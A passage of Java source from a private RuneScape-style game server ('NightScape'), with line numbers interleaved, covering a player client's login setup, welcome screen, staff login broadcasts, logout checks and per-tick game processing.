					+ ((getLevelForXP(playerXP[3])) * 0.25)
827
					+ ((getLevelForXP(playerXP[5])) * 0.125)
828
					+ ((getLevelForXP(playerXP[0])) * 0.325) + ((getLevelForXP(playerXP[2])) * 0.325));
829
		}
830
	}
831
832
	public void sendMessage(String s) {
833
		// synchronized (this) {
834
		if (getOutStream() != null) {
835
			outStream.createFrameVarSize(253);
836
			outStream.writeString(s);
837
			outStream.endFrameVarSize();
838
		}
839
840
	}
841
842
	public void globalMessage(String message) {
843
		for (Player p : PlayerHandler.players) {
844
			if (p == null)
845
				continue;
846
			Client c = (Client) p;
847
			c.sendMessage(message);
848
		}
849
	}
850
851
	public void setSidebarInterface(int menuId, int form) {
852
		// synchronized (this) {
853
		if (getOutStream() != null) {
854
			outStream.createFrame(71);
855
			outStream.writeWord(form);
856
			outStream.writeByteA(menuId);
857
		}
858
859
	}
860
861
	public void autoMessage(String q) {
862
		for (int j = 0; j < PlayerHandler.players.length; j++) {
863
			if (PlayerHandler.players[j] != null) {
864
				Client c2 = (Client) PlayerHandler.players[j];
865
				c2.sendMessage(q);
866
			}
867
		}
868
	}
869
870
	public void joinHelpCC() {
871
		if (clan == null) {
872
			Clan localClan = Server.clanManager.getClan("Help");
873
			if (localClan != null)
874
				localClan.addMember(this);
875
			else if ("Help".equalsIgnoreCase(this.playerName))
876
				Server.clanManager.create(this);
877
		
878
			inArdiCC = false;
879
		}
880
	}
881
	public void joinPvpHelpCC() {
882
		if (clan == null) {
883
			Clan localClan = Server.clanManager.getClan("Pvp Help");
884
			if (localClan != null)
885
				localClan.addMember(this);
886
			else if ("Pvp Help".equalsIgnoreCase(this.playerName))
887
				Server.clanManager.create(this);
888
		
889
			inArdiCC = false;
890
		}
891
	}
892
		public static void handleWelcomeInterface(Client c) {
893
			c.getPA().showInterface(15244); //Problem is buttons do not show up with images. Pointless?
894
			c.getPA().sendFrame126("@bla@Welcome to NightScape!", 15257);
895
			c.getPA().sendFrame126("Owner: Night - Last connected from: "+ c.connectedFrom, 15258);
896
			if(c.hasRecov) {
897
			c.getPA().sendFrame126("@gre@Your account is secure.\\n You have set a recovery email.\\n Post a request on forums\\n in order to change your email.", 15259); 
898
			} else {
899
			c.getPA().sendFrame126("@red@Your account is at risk.\\nPlease log in and use \\n::setemail EMAIL@HERE.COM!\\n That will protect your account\\nif you are hacked.", 15259); 
900
			}
901
			c.getPA().sendFrame126("This will be used to send\\nmessages to you in the future.", 15260);
902
			if (c.setPin) {
903
			c.getPA().sendFrame126("@gre@Your bank is safe. \\nPlease log in and use \\n::setemail EMAIL@HERE.COM!\\n That will protect your account!", 15270);
904
			} else {
905
			c.getPA().sendFrame126("@red@Your bank is at risk. \\nWe suggest making a \\nbank pin to secure your bank\\n We are not responsible for hacked items!", 15270);
906
			}
907
			c.getPA().sendFrame126("None", 15261);
908
			if (c.playerRights == 4 || c.isDonator == 1) {
909
				c.getPA().sendFrame126("You're currently a Donator! \\nEnjoy the server with all your features!\\n Remember, you are awesome!", 15262);
910
			} else if (c.playerRights == 5 || c.isDonator == 2) {
911
				c.getPA().sendFrame126("You're currently an Extreme Donator! \\nEnjoy the server with all your features!\\n Remember, you are very awesome!", 15262);
912
			} else if (c.playerRights == 8 || c.isDonator == 3) {
913
				c.getPA().sendFrame126("You're currently a Legendary Donator! \\nEnjoy the server with your features!\\n Remember, you are super awesome!", 15262);
914
			} else {
915
				c.getPA().sendFrame126("You are not a Donator. \\nWe suggest you become one since it\\nHas huge benefits! A list\\ncan be found on the forums!", 15262);
916
			}
917
			c.getPA().sendFrame126("Play NightScape", 15263);
918
		}
919
		
920
	@Override
921
	public void initialize() {
922
		UUID = RS2LoginProtocol.UUID;
923
		
924
		//handleWelcomeInterface(this); //Above...
925
		getPA().sendFrame126("DDS + Whip", 669);
926
		writeStreamByte();
927
		PvPHandler.handleLogin(this);
928
		Server.lottery.checkUnclaimedWinners(this);
929
		// PlayersOnline.createCon();
930
		// PlayersOnline.online(this);
931
		//isIronMan = false;
932
933
	if (!playerName.equalsIgnoreCase("tyler")) { //I log in and out too much to have this message.
934
		if (playerRights == 1) {
935
			for (int j = 0; j < PlayerHandler.players.length; j++) {
936
				if (PlayerHandler.players[j] != null) {
937
					Client c2 = (Client) PlayerHandler.players[j];
938
					c2.sendMessage("[@blu@Moderator@bla@] @cr1@@bla@ "
939
							+ Misc.ucFirst(playerName) + " @blu@has logged in.");
940
				}
941
			}
942
		} else if(playerRights == 2) {
943
		    for (int j = 0; j < Server.playerHandler.players.length; j++) {
944
		        if (Server.playerHandler.players[j] != null) {
945
		            Client c2 = (Client)Server.playerHandler.players[j];
946
		            c2.sendMessage("@yel@[Admin] @cr2@@whi@" +playerName+ "@bla@ has just logged in!");
947
		        }
948
		    }
949
		} else if(playerRights == 3) {
950
		    for (int j = 0; j < Server.playerHandler.players.length; j++) {
951
		        if (Server.playerHandler.players[j] != null) {
952
		            Client c2 = (Client)Server.playerHandler.players[j];
953
		            c2.sendMessage("@red@[Owner] @cr2@@dre@" +playerName+ "@dre@ has just logged in.");
954
		        }
955
		    }
956
		} else if(playerRights == 5) {
957
		    for (int j = 0; j < Server.playerHandler.players.length; j++) {
958
		        if (Server.playerHandler.players[j] != null) {
959
		            Client c2 = (Client)Server.playerHandler.players[j];
960
		            c2.sendMessage("@blu@[Extreme Donator] @cr4@@bla@" +playerName+ " has just logged in.");
961
		        }
962
		    }
963
		} else if(playerRights == 7) {
964
		    for (int j = 0; j < Server.playerHandler.players.length; j++) {
965
		        if (Server.playerHandler.players[j] != null) {
966
		            Client c2 = (Client)Server.playerHandler.players[j];
967
		            c2.sendMessage("@blu@[Staff] @cr6@@whi@" +playerName+ "@blu@ has just logged in.");
968
		        }
969
		    }
970
		} else if(playerRights == 8) {
971
		    for (int j = 0; j < Server.playerHandler.players.length; j++) {
972
		        if (Server.playerHandler.players[j] != null) {
973
		            Client c2 = (Client)Server.playerHandler.players[j];
974
		            c2.sendMessage("@pur@[Legendary Donator] @cr7@@pur@" +playerName+ "@bla@ has just logged in.");
975
		        }
976
		    }
977
		}
978
	}
979
		getPA().loadQuests();
980
		getPA().loadQuest2();
981
		getPA().sendFrame127(runEnergy + "%", 149);
982
		isFullHelm = Item.isFullHelm(playerEquipment[playerHat]);
983
		isFullMask = Item.isFullMask(playerEquipment[playerHat]);
984
		isFullBody = Item.isFullBody(playerEquipment[playerChest]);
985
		getPA().sendFrame36(173, isRunning2 ? 1 : 0);
986
		sendMessage("@bla@[@blu@Attention@bla@]:@red@Thanks for playing NightScape!");
987
		sendMessage("There are currently @red@"+ PlayerHandler.getPlayerCount() + " @bla@players online.");
988
		/**if (expLock == true) {
989
			sendMessage("Your experience is now locked. You will not gain experience.");
990
		} else {
991
			sendMessage("Your experience is now unlocked. You will gain experience.");
992
		}**/
993
		if (Config.SERVER_EXP_BONUS == 2) {
994
			sendMessage("@bla@[@blu@Attention@bla@]:@red@ Double experience is active.");
995
		}
996
		calcCombat();
997
		Pet.ownerLoggedIn(this);
998
		/*
999
		 * if (playerRights != 3 || playerRights != 2) { Highscores.process(); }
1000
		 */
1001
		outStream.createFrame(249);
1002
		outStream.writeByteA(1); // 1 for members, zero for free
1003
		outStream.writeWordBigEndianA(playerId);
1004
		for (int j = 0; j < PlayerHandler.players.length; j++) {
1005
			if (j == playerId)
1006
				continue;
1007
			if (PlayerHandler.players[j] != null) {
1008
				if (PlayerHandler.players[j].playerName
1009
						.equalsIgnoreCase(playerName))
1010
					disconnected = true;
1011
			}
1012
		}
1013
		// Connection.addIpToLoginList(this.getConnectedFrom());
1014
		for (int i = 0; i < 25; i++) {
1015
			getPA().setSkillLevel(i, playerLevel[i], playerXP[i]);
1016
			getPA().refreshSkill(i);
1017
			getPA().refreshSkill(21);
1018
			getPA().refreshSkill(22);
1019
		}
1020
		for (int p = 0; p < PRAYER.length; p++) { // reset prayer glows
1021
			prayerActive[p] = false;
1022
			getPA().sendFrame36(PRAYER_GLOW[p], 0);
1023
		}
1024
		getPA().handleWeaponStyle();
1025
		getPA().handleLoginText();
1026
		accountFlagged = getPA().checkForFlags();
1027
		getPA().sendFrame36(108, 0);// resets autocast button
1028
		getPA().sendFrame36(172, 1);
1029
		getPA().sendFrame107(); // reset screen
1030
		getPA().setChatOptions(0, 0, 0); // reset private messaging options
1031
		setSidebarInterface(1, 3917);
1032
		// setSidebarInterface(1, 31110);
1033
		setSidebarInterface(2, 638);
1034
		setSidebarInterface(3, 3213);
1035
		setSidebarInterface(4, 1644);
1036
		setSidebarInterface(5, 5608);
1037
		if (playerMagicBook == 0) {
1038
			setSidebarInterface(6, 1151); // modern
1039
		}
1040
		if (playerMagicBook == 1) {
1041
			setSidebarInterface(6, 12855); // ancient
1042
		}
1043
		if (playerMagicBook == 2) {
1044
			setSidebarInterface(6, 29999); // ancient
1045
		}
1046
		if (splitChat == false) {
1047
			getPA().sendFrame36(502, 0);
1048
			getPA().sendFrame36(287, 0);
1049
		}
1050
		if (splitChat == true) {
1051
			getPA().sendFrame36(502, 1);
1052
			getPA().sendFrame36(287, 1);
1053
		}
1054
		correctCoordinates();
1055
		setSidebarInterface(7, 18128);
1056
		setSidebarInterface(8, 5065);
1057
		setSidebarInterface(9, 5715);
1058
		setSidebarInterface(10, 2449);
1059
		// setSidebarInterface(7, 19017);
1060
		setSidebarInterface(11, 904); // wrench tab
1061
		setSidebarInterface(12, 147); // run tab
1062
		setSidebarInterface(13, 6299);
1063
		setSidebarInterface(0, 2423);
1064
		setSidebarInterface(15, 2449);
1065
		setSidebarInterface(16, 3213);
1066
		if (lastsummon > 0) {
1067
			Summoning().SummonNewNPC(lastsummon);
1068
		}
1069
		getPA().showOption(4, 0, "Follow", 4);
1070
		pvpTeleTimer = 0;
1071
		getPA().showOption(5, 0, "Trade with", 3);
1072
		getItems().resetItems(3214);
1073
		getItems().sendWeapon(playerEquipment[playerWeapon],
1074
				getItems().getItemName(playerEquipment[playerWeapon]));
1075
		getItems().resetBonus();
1076
		getItems().getBonus();
1077
		getItems().writeBonus();
1078
		getItems().setEquipment(playerEquipment[playerHat], 1, playerHat);
1079
		getItems().setEquipment(playerEquipment[playerCape], 1, playerCape);
1080
		getItems().setEquipment(playerEquipment[playerAmulet], 1, playerAmulet);
1081
		getItems().setEquipment(playerEquipment[playerArrows],
1082
				playerEquipmentN[playerArrows], playerArrows);
1083
		getItems().setEquipment(playerEquipment[playerChest], 1, playerChest);
1084
		getItems().setEquipment(playerEquipment[playerShield], 1, playerShield);
1085
		getItems().setEquipment(playerEquipment[playerLegs], 1, playerLegs);
1086
		getItems().setEquipment(playerEquipment[playerHands], 1, playerHands);
1087
		getItems().setEquipment(playerEquipment[playerFeet], 1, playerFeet);
1088
		getItems().setEquipment(playerEquipment[playerRing], 1, playerRing);
1089
		getItems().setEquipment(playerEquipment[playerWeapon],
1090
				playerEquipmentN[playerWeapon], playerWeapon);
1091
		getCombat().getPlayerAnimIndex(
1092
		getItems().getItemName(playerEquipment[playerWeapon])
1093
						.toLowerCase());
1094
		getPA().logIntoPM();
1095
		getItems().addSpecialBar(playerEquipment[playerWeapon]);
1096
		saveTimer = Config.SAVE_TIMER;
1097
		saveCharacter = true;
1098
		Misc.println("[Logged in]: " + playerName + "");
1099
		handler.updatePlayer(this, outStream);
1100
		handler.updateNPC(this, outStream);
1101
		flushOutStream();
1102
		getPA().resetFollow();
1103
		getPA().clearClanChat();
1104
		getPA().resetFollow();
1105
		getPA().setClanData();
1106
		Connection.appendStarters();
1107
		Connection.appendStarters2();
1108
		//DonationSystem.addDonateItems(this,playerName);
1109
		if (addStarter)
1110
			getPA().addStarter();
1111
		if(playerRights != 9) {
1112
		this.joinHelpCC();
1113
		} else if(isPvpMode) {
1114
		this.joinPvpHelpCC();
1115
		}
1116
		if (hasNpc == true) {
1117
			if (summonId == 4000) {
1118
				getItems().addItem(12653, 1);
1119
			}
1120
			if (summonId == 4003) {
1121
				getItems().addItem(12694, 1);
1122
			}
1123
			if (summonId == 4001) {
1124
				getItems().addItem(12650, 1);
1125
			}
1126
			if (summonId == 4005) {
1127
				getItems().addItem(12649, 1);
1128
			}
1129
			if (summonId == 4006) {
1130
				getItems().addItem(12652, 1);
1131
			}
1132
			if (summonId == 4007) {
1133
				getItems().addItem(12651, 1);
1134
			}
1135
			if (summonId == 4008) {
1136
				getItems().addItem(12643, 1);
1137
			}
1138
			if (summonId == 4009) {
1139
				getItems().addItem(12644, 1);
1140
			}
1141
			if (summonId == 4010) {
1142
				getItems().addItem(12645, 1);
1143
			}
1144
			if (summonId == 4011) {
1145
				getItems().addItem(15568, 1);
1146
			}
1147
			if (summonId == 4012) {
1148
				getItems().addItem(15566, 1);
1149
			}
1150
			if (summonId == 4016) {
1151
				getItems().addItem(15570, 1);
1152
			}
1153
			if (summonId == 4014) {
1154
				getItems().addItem(15562, 1);
1155
			}
1156
			if (summonId == 4015) {
1157
				getItems().addItem(15560, 1);
1158
			}
1159
			if (summonId == 4013) {
1160
				getItems().addItem(15564, 1);
1161
			}
1162
			if (summonId == 6305) {
1163
				getItems().addItem(12655, 1);
1164
			}
1165
			// Server.npcHandler.spawnNpc3(this, summonId, absX, absY-1,
1166
			// heightLevel, 0, 120, 25, 200, 200, true, false, true);
1167
			summonId = 0;
1168
			hasNpc = false;
1169
			this.sendMessage("Your pet has been added to your inventory.");
1170
		}
1171
		if (autoRet == 1)
1172
			getPA().sendFrame36(172, 1);
1173
		else
1174
			getPA().sendFrame36(172, 0);
1175
	}
1176
1177
	public void RefreshAllSkills() {
1178
		for (int i = 0; i < 25; i++) {
1179
			getPA().setSkillLevel(i, playerLevel[i], playerXP[i]);
1180
			getPA().refreshSkill(i);
1181
		}
1182
	}
1183
1184
	@Override
1185
	public void update() {
1186
		handler.updatePlayer(this, outStream);
1187
		handler.updateNPC(this, outStream);
1188
		flushOutStream();
1189
1190
	}
1191
1192
	public void wildyWarning() {
1193
		getPA().showInterface(1908);
1194
	}
1195
1196
	public void logout() {
1197
		if (this.clan != null) {
1198
			this.clan.removeMember(this);
1199
		}
1200
		PvPHandler.handleLogout(this);
1201
		// PlayersOnline.createCon();
1202
		// PlayersOnline.online(this);
1203
1204
		/*
1205
		 * if (playerRights != 2) { Highscores.save(this); }
1206
		 */
1207
1208
		/*
1209
		 * if (lastsummon > 0) { for (int i = 0; i < Server.npcHandler.maxNPCs;
1210
		 * i++) { if (Server.npcHandler.npcs[i] != null) { if
1211
		 * (Server.npcHandler.npcs[i].summon == true) { if
1212
		 * (Server.npcHandler.npcs[i].spawnedBy == getId()) {
1213
		 * Server.npcHandler.npcs[i].isDead = true;
1214
		 * Server.npcHandler.npcs[i].applyDead = true;
1215
		 * Server.npcHandler.npcs[i].summon = false; } } } } }
1216
		 */
1217
		Connection.removeIpFromLoginList(this.getConnectedFrom());
1218
		if (duelStatus >= 1 && duelStatus <= 5) {
1219
			sendMessage("You cannot logout during a duel.");
1220
			//getTradeAndDuel().bothDeclineDuel();
1221
			saveCharacter = true;
1222
			return;
1223
		}
1224
		if (underAttackBy > 0 || underAttackBy2 > 0)
1225
			return;
1226
		// synchronized (this) {
1227
		if (System.currentTimeMillis() - logoutDelay > 10000) {
1228
			outStream.createFrame(109);
1229
			CycleEventHandler.getSingleton().stopEvents(this);
1230
			properLogout = true;
1231
			ConnectedFrom.addConnectedFrom(this, connectedFrom);
1232
		} else {
1233
			sendMessage("You must wait a few seconds from being out of combat to logout.");
1234
		}
1235
1236
	}
1237
1238
	public int packetSize = 0, packetType = -1;
1239
1240
	@Override
1241
	public void process() {
1242
		getPA().sendFrame126("Players Online: " + PlayerHandler.getPlayerCount(), 29155);
1243
		/*
1244
		 * if (inWild() && WildernessWarning == false) { resetWalkingQueue();
1245
		 * getPA().resetFollow(); wildyWarning(); WildernessWarning = true; }
1246
		 */
1247
1248
		if (clawDelay > 0) {
1249
			clawDelay--;
1250
		}if (superCombat > 0) {
1251
			if (superCombat == 150) {
1252
				getPA().refreshSkill(3);
1253
				sendMessage("@red@The effects caused by your super combat potion are almost gone!");
1254
			}
1255
			if (superCombat == 600 || superCombat == 597 || superCombat == 595 || superCombat == 593 || superCombat == 591 || superCombat == 570 || superCombat == 540 || superCombat == 510 || superCombat == 480 || superCombat == 450 || superCombat == 420 || superCombat == 390 || superCombat == 360 || superCombat == 330 || superCombat == 300 || superCombat == 270 || superCombat == 240 || superCombat == 210 || superCombat == 180 || superCombat == 150 || superCombat == 120 || superCombat == 90 || superCombat == 60 || superCombat == 30) {
1256
				superCombat();
1257
				getPA().refreshSkill(3);
1258
			}
1259
			superCombat--;
1260
			if (superCombat == 0) {
1261
				sendMessage("Your super combat potion has worn off.");
1262
				//playerLevel[3] += 50;
1263
				if (playerLevel[3] > playerLevel[playerHitpoints]) {
1264
					playerLevel[3] = playerLevel[playerHitpoints];
1265
				}
1266
				getPA().refreshSkill(3);
1267
				playerLevel[0] = getLevelForXP(playerXP[0]);
1268
				playerLevel[1] = getLevelForXP(playerXP[1]);
1269
				playerLevel[2] = getLevelForXP(playerXP[2]);
1270
				playerLevel[4] = getLevelForXP(playerXP[4]);
1271
				playerLevel[6] = getLevelForXP(playerXP[6]);
1272
				superCombat = 0;
1273
				for (int i = 0; i <= 6 && i != 5; i++) {
1274
					getPA().refreshSkill(i);
1275
				}
1276
1277
			}
1278
		}
1279
		if (overload > 0) {
1280
			if (overload == 600 || overload == 597 || overload == 595 || overload == 593 || overload == 591) {
1281
				overloadHit();
1282
				getPA().refreshSkill(3);
1283
			}
1284
			if (overload == 570 || overload == 540 || overload == 510 || overload == 480 || overload == 450 || overload == 420 || overload == 390 || overload == 360 || overload == 330 || overload == 300 || overload == 270 || overload == 240 || overload == 210 || overload == 180 || overload == 150 || overload == 120 || overload == 90 || overload == 60 || overload == 30) {
1285
				overload();
1286
				getPA().refreshSkill(3);
1287
			}
1288
			overload--;
1289
			if (overload == 0 || inWild()) {
1290
				sendMessage("The effects of the overload potion have worn off...");
1291
				//playerLevel[3] += 50;
1292
				if (playerLevel[3] > playerLevel[playerHitpoints]) {
1293
					playerLevel[3] = playerLevel[playerHitpoints];
1294
				}
1295
				getPA().refreshSkill(3);
1296
				playerLevel[0] = getLevelForXP(playerXP[0]);
1297
				playerLevel[1] = getLevelForXP(playerXP[1]);
1298
				playerLevel[2] = getLevelForXP(playerXP[2]);
1299
				playerLevel[4] = getLevelForXP(playerXP[4]);
1300
				playerLevel[6] = getLevelForXP(playerXP[6]);
1301
				overload = 0;
1302
				for (int i = 0; i <= 6 && i != 5; i++) {
1303
					getPA().refreshSkill(i);
1304
				}
1305
			
1306
			}
1307
		}
1308
		if (clawDelay == 1) {
1309
			delayedDamage = (clawDamage / 4);
1310
			delayedDamage2 = (clawDamage / 4) + 1;
1311
			if (clawType == 2) {
1312
				getCombat().applyNpcMeleeDamage(clawIndex, 1, clawDamage / 4);
1313
			}
1314
			if (clawType == 1) {
1315
				getCombat()
1316
						.applyPlayerMeleeDamage(clawIndex, 1, clawDamage / 4);
1317
			}
1318
			if (clawType == 2) {
1319
				getCombat().applyNpcMeleeDamage(clawIndex, 2,
1320
						(clawDamage / 4) + 1);
1321
			}
1322
			if (clawType == 1) {
1323
				getCombat().applyPlayerMeleeDamage(clawIndex, 2,
1324
						(clawDamage / 4) + 1);
1325
			}
1326
			clawDelay = 0;
1327
			specEffect = 0;
1328
			previousDamage = 0;
1329
			usingClaws = false;
1330
			clawType = 0;
1331
		}
1332
		if (runEnergy < 100) {
1333
			if (System.currentTimeMillis() > getPA().getAgilityRunRestore(this)
1334
					+ lastRunRecovery) {
1335
				runEnergy++;
1336
				lastRunRecovery = System.currentTimeMillis();
1337
				getPA().sendFrame126(runEnergy + "%", 149);
1338
			}
1339
		}
1340
		if (walkingToItem) {
1341
			if (getX() == pItemX && getY() == pItemY
1342
					|| goodDistance(getX(), getY(), pItemX, pItemY, 1)) {
1343
				walkingToItem = false;
1344
				Server.itemHandler.removeGroundItem(this, pItemId, pItemX,
1345
						pItemY, true);
1346
			}
1347
		}
1348
		if (System.currentTimeMillis() - restoreStatsDelay > (zerkOn ? 90000
1349
				: 60000)) {
1350
			restoreStatsDelay = System.currentTimeMillis();
1351
			for (int level = 0; level < playerLevel.length; level++) {
1352
				if (playerLevel[level] < getLevelForXP(playerXP[level])) {
1353
					if (level != 5) { // prayer doesn't restore
1354
						playerLevel[level] += 1;
1355
						getPA().setSkillLevel(level, playerLevel[level],
1356
								playerXP[level]);
1357
						getPA().refreshSkill(level);
1358
					}
1359
				} else if (playerLevel[level] > getLevelForXP(playerXP[level])
1360
						&& level != 3) {
1361
					playerLevel[level] -= 1;
1362
					getPA().setSkillLevel(level, playerLevel[level],
1363
							playerXP[level]);
1364
					getPA().refreshSkill(level);
1365
				}
1366
			}
1367
1368
			getPotSmoking().processMunnchies();
1369
		}
1370
1371
		if (System.currentTimeMillis() - duelDelay > 1000 && duelCount > 0) {
1372
			if (duelCount != 1) {
1373
				forcedChat("" + (--duelCount));
1374
				duelDelay = System.currentTimeMillis();
1375
			} else {
1376
				damageTaken = new int[Config.MAX_PLAYERS];
1377
				forcedChat("FIGHT!");
1378
				duelCount = 0;
1379
			}
1380
		}
1381
		if (System.currentTimeMillis() - specDelay > Config.INCREASE_SPECIAL_AMOUNT) {
1382
			specDelay = System.currentTimeMillis();
1383
			if (specAmount < 10) {
1384
				specAmount += 1;
1385
				if (specAmount > 10)
1386
					specAmount = 10;
1387
				getItems().addSpecialBar(playerEquipment[playerWeapon]);
1388
			}
1389
		}
1390
		/*if (isPvpMode) {
1391
			if (!inPvP()) {
1392
				pvpTeleTimer = 7;
1393
			}
1394
		}*/	
1395
		if (yellTimer > 0) {
1396
			yellTimer--;
1397
		}
1398
		if(pvpnewtimer > 0) {
1399
			pvpnewtimer--;
1400
			if (pvpnewtimer == 0 && isPvpMode) {
1401
				sendMessage("@red@[ALERT]: @gre@You can now be attacked by other PvP mode Players!");
1402
				pvpnewtimer = 0;
1403
			}
1404
		}
1405
		//if (summonSpec > 0) {
1406
			//summonSpec--;
1407
		//}
1408
1409
		if (followId > 0) {
1410
			getPA().followPlayer();
1411
		} else if (followId2 > 0) {
1412
			getPA().followNpc();
1413
		}
1414
		getCombat().handlePrayerDrain();
1415
		if (System.currentTimeMillis() - singleCombatDelay > 3300) {
1416
			underAttackBy = 0;
1417
		}
1418
		if (System.currentTimeMillis() - singleCombatDelay2 > 3300) {
1419
			underAttackBy2 = 0;
1420
		}
1421
	 	if (isPvpMode && !inSafeArea() && !inPcBoat() && !inPcGame()) {
1422
			//PvPHandler.handleInterfaces(this);
1423
			getPA().walkableInterface(197);
1424
			int modY = absY > 6400 ? absY - 6400 : absY;
1425
			areaLevel = "3-126";
1426
			if (Config.SINGLE_AND_MULTI_ZONES) {
1427
				if (inMulti()) {
1428
					getPA().sendFrame126("@red@" + areaLevel, 199);
1429
				} else {
1430
					getPA().sendFrame126("@red@" + areaLevel, 199);
1431
				}
1432
			} else {
1433
				getPA().multiWay(-1);
1434
				getPA().sendFrame126("@red@Level: " + areaLevel, 199);
1435
			}
1436
			getPA().showOption(3, 0, "Attack", 1);
1437
		} else if (isPvpMode && inSafeArea()) {
1438
			//PvPHandler.handleInterfaces(this);
1439
			getPA().walkableInterface(197);
1440
			int modY = absY > 6400 ? absY - 6400 : absY;
1441
			areaLevel = "SAFE";
1442
			if (Config.SINGLE_AND_MULTI_ZONES) {
1443
				if (inMulti()) {
1444
					getPA().sendFrame126("@gre@" + areaLevel, 199);
1445
				} else {
1446
					getPA().sendFrame126("@gre@" + areaLevel, 199);
1447
				}
1448
			} else {
1449
				getPA().multiWay(-1);
1450
				getPA().sendFrame126("@gre@" + areaLevel, 199);
1451
			}
1452
			getPA().showOption(3, 0, "null", 1); //Removes attack option in safe zone - Tyler @ Ryan
1453
		} else if (inWild()) {
1454
			PvPHandler.handleInterfaces(this);
1455
			// getPA().walkableInterface(197);
1456
			int modY = absY > 6400 ? absY - 6400 : absY;
1457
			wildLevel = (((modY - 3520) / 8) + 1);
1458
			if (Config.SINGLE_AND_MULTI_ZONES) {
1459
				if (inMulti()) {
1460
					getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
1461
				} else {
1462
					getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
1463
				}
1464
			} else {
1465
				getPA().multiWay(-1);
1466
				getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
1467
			}
1468
			getPA().showOption(3, 0, "Attack", 1);
1469
		} else if (inMithWild()) {
1470
			int modY = absY > 6400 ? absY - 6400 : absY;
1471
			wildMithLevel = 30;
1472
			getPA().walkableInterface(197);
1473
			getPA().multiWay(-1);
1474
			getPA().sendFrame126("@yel@Level: " + wildMithLevel, 199);
1475
			getPA().showOption(3, 0, "Attack", 1);
1476
		} else if (this.isInBarrows()) {
1477
			this.getPA().sendFrame126("Kill Count: " + this.barrowsKillCount,
1478
					4536);
1479
			this.getPA().walkableInterface(4535);
1480
			this.getPA().showOption(3, 0, "null", 1);
1481
			this.getPA().showOption(2, 0, "null", 1);
1482
		} else if (inPcBoat()) {
1483
			getPA().sendFrame126(
1484
					"Next Departure: " + PestControl.waitTimer + "", 21120);
1485
			getPA().sendFrame126(
1486
					"Players Ready: " + PestControl.playersInBoat() + "", 21121);
1487
			getPA().sendFrame126("(Need 3 to 25 players)", 21122);
1488
			getPA().sendFrame126("Pest Points: " + pcPoints + "", 21123);
1489
			getPA().walkableInterface(21119);
1490
		} else if (inPcGame()) {
1491
			for (j = 0; j < NPCHandler.npcs.length; j++) {
1492
				if (NPCHandler.npcs[j] != null) {
1493
					if (NPCHandler.npcs[j].npcType == 6142) {
1494
						if (NPCHandler.npcs[j].isDead) {
1495
							getPA().sendFrame126("Dead", 21111);
1496
						} else
1497
							getPA().sendFrame126(
1498
									"" + NPCHandler.npcs[j].HP + "", 21111);
1499
					}
1500
					if (NPCHandler.npcs[j].npcType == 6143) {
1501
						if (NPCHandler.npcs[j].isDead) {
1502
							getPA().sendFrame126("Dead", 21112);
1503
						} else
1504
							getPA().sendFrame126(
1505
									"" + NPCHandler.npcs[j].HP + "", 21112);
1506
					}
1507
					if (NPCHandler.npcs[j].npcType == 6144) {
1508
						if (NPCHandler.npcs[j].isDead) {
1509
							getPA().sendFrame126("Dead", 21113);
1510
						} else
1511
							getPA().sendFrame126(
1512
									"" + NPCHandler.npcs[j].HP + "", 21113);
1513
					}
1514
					if (NPCHandler.npcs[j].npcType == 6145) {
1515
						if (NPCHandler.npcs[j].isDead) {
1516
							getPA().sendFrame126("Dead", 21114);
1517
						} else
1518
							getPA().sendFrame126(
1519
									"" + NPCHandler.npcs[j].HP + "", 21114);
1520
					}
1521
				}
1522
			}
1523
			getPA().sendFrame126("0", 21115);
1524
			if (pcDamage < 50) {
1525
				getPA().sendFrame126("@red@" + pcDamage + "", 21116);
1526
			} else {
1527
				getPA().sendFrame126("@gre@" + pcDamage + "", 21116);
1528
			}
1529
			getPA().sendFrame126(
1530
					"Time remaining: " + PestControl.gameTimer + "", 21117);
1531
			getPA().walkableInterface(21100);
1532
		} else if (inZombieWait()) {
1533
			getPA().sendFrame126("", 15894);
1534
			getPA().sendFrame126("            @gre@Nightmare Zone", 15895);
1535
			getPA().sendFrame126(
1536
					ZombieWaves.waitTimer < 0 ? "Game In Progress"
1537
							: "Next Departure: " + ZombieWaves.waitTimer, 15897);
1538
			getPA().sendFrame126(
1539
					"Players Ready: " + ZombieWaves.inZombieWaitCount(), 15898);
1540
			getPA().sendFrame126("NMZ Points: " + zmPoints, 15899);
1541
			getPA().sendFrame126("", 15896);
1542
			getPA().sendFrame126("", 15900);
1543
			getPA().sendFrame126("", 15901);
1544
			getPA().sendFrame126("", 15902);
1545
			getPA().sendFrame126("", 15903);
1546
			getPA().sendFrame126("", 15904);
1547
			getPA().sendFrame126("", 15905);
1548
			getPA().sendFrame126("", 15906);
1549
			getPA().walkableInterface(15892);
1550
		} else if (inZombieGame()) {
1551
			getPA().sendFrame126("", 15894);
1552
			getPA().sendFrame126("            @gre@Nightmare Zone", 15895);
1553
			getPA().sendFrame126("Wave Number " + ZombieWaves.zombieWaveId,
1554
					15897);
1555
			getPA().sendFrame126("Bosses Left: " + ZombieWaves.zombieAmount,
1556
					15898);
1557
			getPA().sendFrame126("NMZ Points: " + zmPoints, 15899);
1558
			getPA().sendFrame126("", 15896);
1559
			getPA().sendFrame126("", 15900);
1560
			getPA().sendFrame126("", 15901);
1561
			getPA().sendFrame126("", 15902);
1562
			getPA().sendFrame126("", 15903);
1563
			getPA().sendFrame126("", 15904);
1564
			getPA().sendFrame126("", 15905);
1565
			getPA().sendFrame126("", 15906);
1566
			getPA().walkableInterface(15892);
1567
		} else if (inDuelArena()) {
1568
			getPA().walkableInterface(201);
1569
			if (duelStatus == 5) {
1570
				getPA().showOption(3, 0, "Attack", 1);
1571
			} else {
1572
				getPA().showOption(3, 0, "Challenge", 1);
1573
			}
1574
		} else if (inCwGame || inPits) {
1575
			getPA().showOption(3, 0, "Attack", 1);
1576
		} else if (getPA().inPitsWait()) {
1577
			getPA().showOption(3, 0, "Null", 1);
1578
		} else if (!inCwWait) {
1579
			getPA().sendFrame99(0);
1580
			getPA().walkableInterface(-1);
1581
			getPA().showOption(3, 0, "Null", 1);
1582
		} else if (inPits) {
1583
			getPA().showOption(3, 0, "Attack", 1);
1584
		} else if (getPA().inPitsWait()) {
1585
			getPA().showOption(3, 0, "Null", 1);
1586
		}
1587
1588
		if (!hasMultiSign && inMulti()) {
1589
			hasMultiSign = true;
1590
			getPA().multiWay(1);
1591
		}
1592
1593
		if (hasMultiSign && !inMulti()) {
1594
			hasMultiSign = false;
1595
			getPA().multiWay(-1);
1596
		}
1597
1598
